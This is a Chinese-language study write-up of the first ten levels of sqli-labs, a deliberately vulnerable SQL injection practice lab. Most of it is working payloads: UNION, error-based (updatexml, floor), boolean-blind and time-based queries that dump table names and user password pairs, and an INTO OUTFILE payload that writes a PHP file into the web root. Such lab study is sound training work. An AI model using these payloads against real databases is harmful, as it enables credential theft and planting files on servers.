SQL注入漏洞靶场-sqli-labs学习[1-10]
Less-1
根据提示,在URL中添加?id=1,出现:
尝试加单引号,发现报错信息:
在单引号后加入注释符#(%23)后,页面返回正常,说明可能是单引号字符型注入。
尝试使用UNION联合查询注入:
①判断字段个数:
?id=1' order by 3#
页面3返回正常,页面4返回不正常,说明有3个字段。
②确定字段精确位置:?id=1' and 1=2 union select 1,2,3#
③查询数据库名和用户名:?id=1' and 1=2 union select 1, database(), user()#
④获取表名:
?id=1' and 1=2 union select 1, 2, group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()#
⑤获取字段名:
?id=1' and 1=2 union select 1, 2, group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'#
⑥获取字段内容:
?id=1' and 1=2 union select 1, 2, group_concat(username, 0x7e, password) from users#
Less-2
通过Less-1的尝试方法,页面继续报错。使用?id=2-1进行测试,发现与?id=1页面返回一样,说明此处是数字型注入。接下来的注入过程可以参考Less-1。
Less-3
加单引号报错后,根据报错信息"to use near ''1'') LIMIT 0,1' at line 1",输入?id=1‘ )#,页面返回正常。说明此处是以('1')闭合的字符型注入。接下来的注入过程可以参考Less-1。
Less-4
加单引号无变化。输入双引号,页面报错,根据报错信息"to use near '"1"") LIMIT 0,1' at line 1",可以判断这里闭合方式是将('')改为了(""),其余与Less-3相同。
Less-5
输入单引号后,根据报错信息,判断是单引号闭合,但是此处无法使用UNION联合查询注入。
尝试使用报错注入,这里选用的是updatexml()报错注入:
①获取数据库名:?id=1' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)%23
②获取表名:
?id=1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1)%23
③获取字段名:
?id=1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1)%23
因为updatexml()函数有字符限制,最长为32位,这里可以通过limit子句进行查询。
?id=1' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 10,1), 0x7e), 1)%23
④获取字段内容:
?id=1' and updatexml(1, concat(0x7e, (select group_concat(username, 0x7e, password) from users limit 0,1), 0x7e), 1)%23
因为updatexml()函数有32位的长度限制,所以此处使用了substr()函数进行截取:
?id=1' and updatexml(1, concat(0x7e, substr((select group_concat(username, 0x7e, password) from users limit 0,1), 30, 30), 0x7e), 1)%23
Less-6
此关是将Less-5中的单引号变为了双引号闭合,所以此处可以继续使用报错注入。
使用floor()报错注入:
①查数据库
?id=1" and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)%23
②查表
?id=1" and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema = database() limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)%23
③查字段名
?id=1" and (select 1 from (select count(*),concat(((select concat(column_name) from information_schema.columns where table_name = 'users' limit 10,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)%23
④查询字段内容
?id=1" and (select 1 from (select count(*),concat(((select concat(password) from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)%23
Less-7
根据提示"Use outfile",需要向服务器写入文件。尝试找到语句的闭合方式:((''))。
构造payload:
?id=1')) and 1=2 union select 1,"<?php phpinfo(); ?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\shell.php"%23
访问shell.php:
总结一下利用into outfile写文件的条件:
①要具有写权限能够使用单引号或双引号
②知道服务器的绝对路径
③要配置secure-file-priv
Less-8
加单引号,页面返回不正常,可以判断是单引号字符型注入。
这里尝试Less-7中的into outfile写文件,也是可以写入。
这里尝试一下布尔盲注:
?id=1' and 1=1 %23 //页面返回正常
?id=1' and 1=2 %23 //页面返回异常
①判断数据库长度
?id=1' and length(database())=8%23
页面返回正常,说明数据库长度为8。
②猜测数据库中的第一个字符
?id=1' and left(database(),1)<'t'%23 //页面返回正常,缩短范围
?id=1' and left(database(),1)>'r'%23 //页面返回正常,可以说明数据库首字母为s
③猜测security中的表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1), 1, 1)) < 118%23
④猜测users表中的列信息
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) > 60 %23
⑤猜测字段内容
?id=1' and ascii(substr((select password from users limit 0,1), 1, 1))>60%23
Less-9
尝试各种方式,但是都不报错,最终确定为是单引号闭合的时间延迟注入:
?id=1' and sleep(10) %23
①判断数据库长度
?id=1' and if(length(database())=8, sleep(10), 1)%23
②猜解数据库名
?id=1' and if(ascii(substr(database(),1,1))>114, sleep(10), 1)%23
Less-10
此关是将Less-9中的单引号改为双引号闭合,也是使用时间延迟注入。